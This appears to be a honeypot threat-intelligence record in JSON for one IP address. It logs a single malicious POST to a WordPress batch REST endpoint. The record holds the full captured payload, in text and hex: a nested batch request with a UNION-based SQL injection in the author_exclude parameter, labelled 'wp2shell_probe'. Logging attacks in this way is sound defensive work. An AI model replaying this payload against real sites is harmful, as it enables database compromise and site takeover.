{"ip":"64.89.161.43","total_events":1,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 exploit-path hits","confidence":"medium","network_type":null,"why":["1 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","Under 5 hits, so confidence is medium.","Not in any known-scanner range."],"engagement":{"level":"request","label":"Request traffic","detail":"1,054 bytes sent","bytes_sent":1054,"session_seconds":0,"persistent":false}},"first_seen":"2026-09-20T06:55:02","last_seen":"2026-09-20T06:55:02","events_24h":0,"events_7d":1,"geo":{"country_code":"US","country_name":"United States","region":"","city":"","lat":37.751,"lon":-97.822,"asn":36680,"org":"Netiface LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i131000_f57a46bbacb6_ab7e3b40a677"],"tls_ja3":["2196848d251b217de8b2c037e356c11d"],"ja4h":["po11nn0500_b4ba55311b46"]},"fingerprint_peers":{"t13i131000_f57a46bbacb6_ab7e3b40a677":5190,"po11nn0500_b4ba55311b46":93},"user_agents":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.0"],"timeline":[{"date":"2026-09-20","count":1}],"recent_events":[{"timestamp":"2026-09-20T06:55:02","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"850\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.0\"}","body":"{\"requests\":[{\"method\":\"POST\",\"path\":\"///\"},{\"body\":{\"requests\":[{\"method\":\"POST\",\"path\":\"///\"},{\"method\":\"GET\",\"path\":\"/wp/v2/widgets?author_exclude=0%29+AND+1%3D0+UNION+ALL+SELECT+99999999%2C1%2C%272020-01-01+00%3A00%3A00%27%2C%272020-01-01+00%3A00%3A00%27%2C%27%27%2CCONCAT%280x776f726470726573733078%2CHEX%28CAST%28%28SELECT+%27wp2shell_probe%27%29+AS+CHAR%29%29%29%2C%27%27%2C%27publish%27%2C%27closed%27%2C%27closed%27%2C%27%27%2C0x753236663765396565%2C%27%27%2C%27%27%2C%272020-01-01+00%3A00%3A00%27%2C%272020-01-01+00%3A00%3A00%27%2C%27%27%2C0%2C%27%27%2C0%2C%27post%27%2C%27%27%2C0%0A--+%0A--+%0A--+%0A--+%0A--+%0A--+\\u0026per_page=500\\u0026orderby=none\"},{\"method\":\"GET\",\"path\":\"/wp/v2/posts\"},{\"method\":\"GET\",\"path\":\"/wp/v2/categories\"}]},\"method\":\"POST\",\"path\":\"/wp/v2/posts\"},{\"body\":{\"requests\":[]},\"method\":\"POST\",\"path\":\"/batch/v1\"}]}","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/wp-json/batch/v1","summary":"","payload_hex":"504f5354202f77702d6a736f6e2f62617463682f763120485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e300d0a436f6e74656e742d4c656e6774683a203835300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b227265717565737473223a5b7b226d6574686f64223a22504f5354222c2270617468223a222f2f2f227d2c7b22626f6479223a7b227265717565737473223a5b7b226d6574686f64223a22504f5354222c2270617468223a222f2f2f227d2c7b226d6574686f64223a22474554222c2270617468223a222f77702f76322f776964676574733f617574686f725f6578636c7564653d302532392b414e442b31253344302b554e494f4e2b414c4c2b53454c4543542b393939393939393925324331253243253237323032302d30312d30312b303025334130302533413030253237253243253237323032302d30312d30312b303025334130302533413030253237253243253237253237253243434f4e4341542532383078373736663732363437303732363537333733333037382532434845582532384341535425323825323853454c4543542b2532377770327368656c6c5f70726f62652532372532392b41532b434841522532392532392532392532432532372532372532432532377075626c697368253237253243253237636c6f736564253237253243253237636c6f7365642532372532432532372532372532433078373533323336363633373635333936353635253243253237253237253243253237253237253243253237323032302d30312d30312b303025334130302533413030253237253243253237323032302d30312d30312b3030253341303025334130302532372532432532372532372532433025324325323725323725324330253243253237706f7374253237253243253237253237253243302530412d2d2b2530412d2d2b2530412d2d2b2530412d2d2b2530412d2d2b2530412d2d2b5c75303032367065725f706167653d3530305c75303032366f7264657262793d6e6f6e65227d2c7b226d6574686f64223a22474554222c2270617468223a222f77702f76322f706f737473227d2c7b226d6574686f64223a22474554222c2270617468223a222f77702f76322f63617465676f72696573227d5d7d2c226d6574686f64223a22504f5354222c2270617468223a222f77702f76322f706f737473227d2c7b22626f6479223a7b227265717565737473223a5b5d7d2c226d6574686f64223a22504f5354222c2270617468223a222f62617463682f7631227d5d7d","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.0","ja3":"2196848d251b217de8b2c037e356c11d","session":"7b34685e-3f5c-4108-827d-b51bb0187728","seq":1,"duration_ms":101,"bytes_in":1054,"bytes_out":77}],"http_methods":[{"method":"POST","count":1}],"distinct_ports_total":1,"top_paths":[{"path":"/wp-json/batch/v1","count":1,"ports":1}],"distinct_paths_total":1,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"850","notable":false},{"name":"Content-Type","value":"application/json","notable":true},{"name":"Host","value":"<HONEYPOT>","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.0","notable":false}],"distinct_sets":1,"events_with_headers":1},"tags":[],"data_as_of":"2026-09-21T11:32:48.481299+00:00"}